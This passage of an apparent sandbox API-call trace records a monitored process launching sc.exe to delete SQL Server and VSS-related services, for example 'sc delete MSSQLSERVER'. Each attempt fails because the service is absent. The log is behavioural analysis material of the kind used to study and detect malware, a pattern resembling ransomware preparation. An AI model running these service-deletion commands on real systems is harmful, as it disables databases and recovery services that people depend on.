_wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.750] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.750] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.750] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.750] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.750] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.750] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.750] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.750] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.750] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.750] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.750] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.750] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.750] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.750] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.750] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.750] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.750] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.750] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.751] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.751] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.751] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.751] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.751] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.751] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.751] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x264370 [0073.756] OpenServiceW (hSCManager=0x264370, lpServiceName="vmicvss", dwDesiredAccess=0x10000) returned 0x0 [0073.756] GetLastError () returned 0x424 [0073.756] _itow (in: _Dest=0x424, _Radix=1636664 | out: _Dest=0x424) returned="1060" [0073.756] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff0bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.758] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f8f0, nSize=0x2, Arguments=0x18f920 | out: lpBuffer="跀&") returned 0x62 [0073.758] GetFileType (hFile=0x120) returned 0x3 [0073.759] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x268ea0 [0073.759] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x268ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n&", lpUsedDefaultChar=0x0) returned 98 [0073.759] WriteFile (in: hFile=0x120, lpBuffer=0x268ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x268ea0*, lpNumberOfBytesWritten=0x18f898*=0x62, lpOverlapped=0x0) returned 1 [0073.759] LocalFree (hMem=0x268ea0) returned 0x0 [0073.759] LocalFree (hMem=0x268dc0) returned 0x0 [0073.759] LocalFree (hMem=0x0) returned 0x0 [0073.759] CloseServiceHandle (hSCObject=0x264370) returned 1 [0073.782] exit (_Code=1060) Thread: id = 21 os_tid = 0x944 Process: id = "12" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46534000" os_pid = "0x954" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete MSSQLFDLauncher" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x964 [0073.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f890 | out: lpSystemTimeAsFileTime=0x22f890*(dwLowDateTime=0x362de270, dwHighDateTime=0x1d62786)) [0073.851] GetCurrentProcessId () returned 0x954 [0073.851] GetCurrentThreadId () returned 0x964 [0073.851] GetTickCount () returned 0x1148dbf [0073.851] QueryPerformanceCounter (in: lpPerformanceCount=0x22f898 | out: lpPerformanceCount=0x22f898*=19372446261) returned 1 [0073.852] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0073.852] __set_app_type (_Type=0x1) [0073.853] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffbf7228) returned 0x0 [0073.853] __wgetmainargs (in: _Argc=0xffbfb604, _Argv=0xffbfb610, _Env=0xffbfb608, _DoWildCard=0, _StartInfo=0xffbfb050 | out: _Argc=0xffbfb604, _Argv=0xffbfb610, _Env=0xffbfb608) returned 0 [0073.856] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.859] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.859] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.859] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.859] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.859] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.859] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.859] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.859] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.859] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.859] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.859] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.859] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.860] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.860] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.860] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.860] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.860] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.860] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.860] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.860] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.860] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.860] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.860] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.860] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x743d0 [0073.865] OpenServiceW (hSCManager=0x743d0, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0x10000) returned 0x0 [0073.865] GetLastError () returned 0x424 [0073.865] _itow (in: _Dest=0x424, _Radix=2291448 | out: _Dest=0x424) returned="1060" [0073.865] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffbfb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.868] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f6b0, nSize=0x2, Arguments=0x22f6e0 | out: lpBuffer="趰\x07") returned 0x62 [0073.868] GetFileType (hFile=0x120) returned 0x3 [0073.868] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x78e90 [0073.868] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x78e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x07", lpUsedDefaultChar=0x0) returned 98 [0073.869] WriteFile (in: hFile=0x120, lpBuffer=0x78e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f658, lpOverlapped=0x0 | out: lpBuffer=0x78e90*, lpNumberOfBytesWritten=0x22f658*=0x62, lpOverlapped=0x0) returned 1 [0073.869] LocalFree (hMem=0x78e90) returned 0x0 [0073.869] LocalFree (hMem=0x78db0) returned 0x0 [0073.869] LocalFree (hMem=0x0) returned 0x0 [0073.869] CloseServiceHandle (hSCObject=0x743d0) returned 1 [0074.162] exit (_Code=1060) Thread: id = 23 os_tid = 0x974 Process: id = "13" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46f3c000" os_pid = "0x984" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete MSSQLSERVER" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0x994 [0074.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fcf0 | out: lpSystemTimeAsFileTime=0x26fcf0*(dwLowDateTime=0x3640ed70, dwHighDateTime=0x1d62786)) [0074.233] GetCurrentProcessId () returned 0x984 [0074.233] GetCurrentThreadId () returned 0x994 [0074.233] GetTickCount () returned 0x1148e3c [0074.233] QueryPerformanceCounter (in: lpPerformanceCount=0x26fcf8 | out: lpPerformanceCount=0x26fcf8*=19410718105) returned 1 [0074.235] GetModuleHandleW (lpModuleName=0x0) returned 0xff600000 [0074.235] __set_app_type (_Type=0x1) [0074.235] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff607228) returned 0x0 [0074.236] __wgetmainargs (in: _Argc=0xff60b604, _Argv=0xff60b610, _Env=0xff60b608, _DoWildCard=0, _StartInfo=0xff60b050 | out: _Argc=0xff60b604, _Argv=0xff60b610, _Env=0xff60b608) returned 0 [0074.236] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.238] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0074.238] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0074.238] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0074.238] _wcsicmp (_String1="delete", _String2="query") returned -13 [0074.238] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0074.238] _wcsicmp (_String1="delete", _String2="start") returned -15 [0074.239] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0074.239] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0074.239] _wcsicmp (_String1="delete", _String2="control") returned 1 [0074.239] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0074.239] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0074.239] _wcsicmp (_String1="delete", _String2="config") returned 1 [0074.239] _wcsicmp (_String1="delete", _String2="description") returned -7 [0074.239] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0074.239] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0074.239] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0074.239] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0074.239] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0074.239] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0074.239] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0074.239] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0074.239] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0074.239] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0074.239] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xe4370 [0074.243] OpenServiceW (hSCManager=0xe4370, lpServiceName="MSSQLSERVER", dwDesiredAccess=0x10000) returned 0x0 [0074.244] GetLastError () returned 0x424 [0074.244] _itow (in: _Dest=0x424, _Radix=2554712 | out: _Dest=0x424) returned="1060" [0074.244] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff60b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0074.246] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26fb10, nSize=0x2, Arguments=0x26fb40 | out: lpBuffer="跀\x0e") returned 0x62 [0074.246] GetFileType (hFile=0x120) returned 0x3 [0074.247] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xe8ea0 [0074.247] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xe8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x0e", lpUsedDefaultChar=0x0) returned 98 [0074.247] WriteFile (in: hFile=0x120, lpBuffer=0xe8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x26fab8, lpOverlapped=0x0 | out: lpBuffer=0xe8ea0*, lpNumberOfBytesWritten=0x26fab8*=0x62, lpOverlapped=0x0) returned 1 [0074.247] LocalFree (hMem=0xe8ea0) returned 0x0 [0074.247] LocalFree (hMem=0xe8dc0) returned 0x0 [0074.247] LocalFree (hMem=0x0) returned 0x0 [0074.247] CloseServiceHandle (hSCObject=0xe4370) returned 1 [0074.250] exit (_Code=1060) Thread: id = 25 os_tid = 0x9a4 Process: id = "14" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45541000" os_pid = "0x9b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete SQLSERVERAGENT" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x9c4 [0074.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18faf0 | out: lpSystemTimeAsFileTime=0x18faf0*(dwLowDateTime=0x364cd450, dwHighDateTime=0x1d62786)) [0074.316] GetCurrentProcessId () returned 0x9b4 [0074.316] GetCurrentThreadId () returned 0x9c4 [0074.316] GetTickCount () returned 0x1148e8a [0074.316] QueryPerformanceCounter (in: lpPerformanceCount=0x18faf8 | out: lpPerformanceCount=0x18faf8*=19418993637) returned 1 [0074.320] GetModuleHandleW (lpModuleName=0x0) returned 0xfff60000 [0074.320] __set_app_type (_Type=0x1) [0074.320] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff67228) returned 0x0 [0074.320] __wgetmainargs (in: _Argc=0xfff6b604, _Argv=0xfff6b610, _Env=0xfff6b608, _DoWildCard=0, _StartInfo=0xfff6b050 | out: _Argc=0xfff6b604, _Argv=0xfff6b610, _Env=0xfff6b608) returned 0 [0074.321] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.326] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0074.326] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0074.326] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0074.326] _wcsicmp (_String1="delete", _String2="query") returned -13 [0074.327] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0074.327] _wcsicmp (_String1="delete", _String2="start") returned -15 [0074.327] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0074.327] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0074.327] _wcsicmp (_String1="delete", _String2="control") returned 1 [0074.327] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0074.327] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0074.327] _wcsicmp (_String1="delete", _String2="config") returned 1 [0074.327] _wcsicmp (_String1="delete", _String2="description") returned -7 [0074.327] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0074.327] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0074.327] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0074.327] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0074.327] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0074.327] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0074.327] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0074.327] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0074.327] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0074.327] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0074.327] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0074.327] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0074.327] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0074.328] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0074.328] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0074.328] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0074.328] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0074.328] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0074.328] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3843d0 [0074.332] OpenServiceW (hSCManager=0x3843d0, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0x10000) returned 0x0 [0074.333] GetLastError () returned 0x424 [0074.333] _itow (in: _Dest=0x424, _Radix=1636696 | out: _Dest=0x424) returned="1060" [0074.333] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfff6b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0074.335] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f910, nSize=0x2, Arguments=0x18f940 | out: lpBuffer="趰8") returned 0x62 [0074.336] GetFileType (hFile=0x120) returned 0x3 [0074.336] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x388e90 [0074.336] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x388e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n8", lpUsedDefaultChar=0x0) returned 98 [0074.336] WriteFile (in: hFile=0x120, lpBuffer=0x388e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18f8b8, lpOverlapped=0x0 | out: lpBuffer=0x388e90*, lpNumberOfBytesWritten=0x18f8b8*=0x62, lpOverlapped=0x0) returned 1 [0074.336] LocalFree (hMem=0x388e90) returned 0x0 [0074.336] LocalFree (hMem=0x388db0) returned 0x0 [0074.336] LocalFree (hMem=0x0) returned 0x0 [0074.336] CloseServiceHandle (hSCObject=0x3843d0) returned 1 [0074.339] exit (_Code=1060) Thread: id = 27 os_tid = 0x9d4 Process: id = "15" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45448000" os_pid = "0x9e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete SQLBrowser" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0x9f4 [0074.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff10 | out: lpSystemTimeAsFileTime=0x18ff10*(dwLowDateTime=0x365d7df0, dwHighDateTime=0x1d62786)) [0074.666] GetCurrentProcessId () returned 0x9e4 [0074.666] GetCurrentThreadId () returned 0x9f4 [0074.666] GetTickCount () returned 0x1148ef7 [0074.666] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff18 | out: lpPerformanceCount=0x18ff18*=19454006715) returned 1 [0074.668] GetModuleHandleW (lpModuleName=0x0) returned 0xff1c0000 [0074.668] __set_app_type (_Type=0x1) [0074.668] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff1c7228) returned 0x0 [0074.668] __wgetmainargs (in: _Argc=0xff1cb604, _Argv=0xff1cb610, _Env=0xff1cb608, _DoWildCard=0, _StartInfo=0xff1cb050 | out: _Argc=0xff1cb604, _Argv=0xff1cb610, _Env=0xff1cb608) returned 0 [0074.669] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.674] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0074.674] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0074.674] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0074.674] _wcsicmp (_String1="delete", _String2="query") returned -13 [0074.674] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0074.674] _wcsicmp (_String1="delete", _String2="start") returned -15 [0074.674] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0074.674] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0074.674] _wcsicmp (_String1="delete", _String2="control") returned 1 [0074.674] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0074.674] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0074.674] _wcsicmp (_String1="delete", _String2="config") returned 1 [0074.674] _wcsicmp (_String1="delete", _String2="description") returned -7 [0074.674] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0074.674] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0074.674] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0074.674] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0074.674] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0074.674] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0074.674] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0074.674] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0074.674] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0074.675] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0074.675] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0074.675] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0074.675] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0074.675] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0074.675] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0074.675] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0074.675] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0074.675] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0074.675] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1a4370 [0074.679] OpenServiceW (hSCManager=0x1a4370, lpServiceName="SQLBrowser", dwDesiredAccess=0x10000) returned 0x0 [0074.680] GetLastError () returned 0x424 [0074.680] _itow (in: _Dest=0x424, _Radix=1637752 | out: _Dest=0x424) returned="1060" [0074.680] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff1cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0074.682] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18fd30, nSize=0x2, Arguments=0x18fd60 | out: lpBuffer="跀\x1a") returned 0x62 [0074.683] GetFileType (hFile=0x120) returned 0x3 [0074.683] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1a8ea0 [0074.683] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1a8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1a", lpUsedDefaultChar=0x0) returned 98 [0074.683] WriteFile (in: hFile=0x120, lpBuffer=0x1a8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18fcd8, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea0*, lpNumberOfBytesWritten=0x18fcd8*=0x62, lpOverlapped=0x0) returned 1 [0074.683] LocalFree (hMem=0x1a8ea0) returned 0x0 [0074.683] LocalFree (hMem=0x1a8dc0) returned 0x0 [0074.683] LocalFree (hMem=0x0) returned 0x0 [0074.683] CloseServiceHandle (hSCObject=0x1a4370) returned 1 [0074.687] exit (_Code=1060) Thread: id = 29 os_tid = 0xa04 Process: id = "16" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4614d000" os_pid = "0xa14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete SQLTELEMETRY" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT 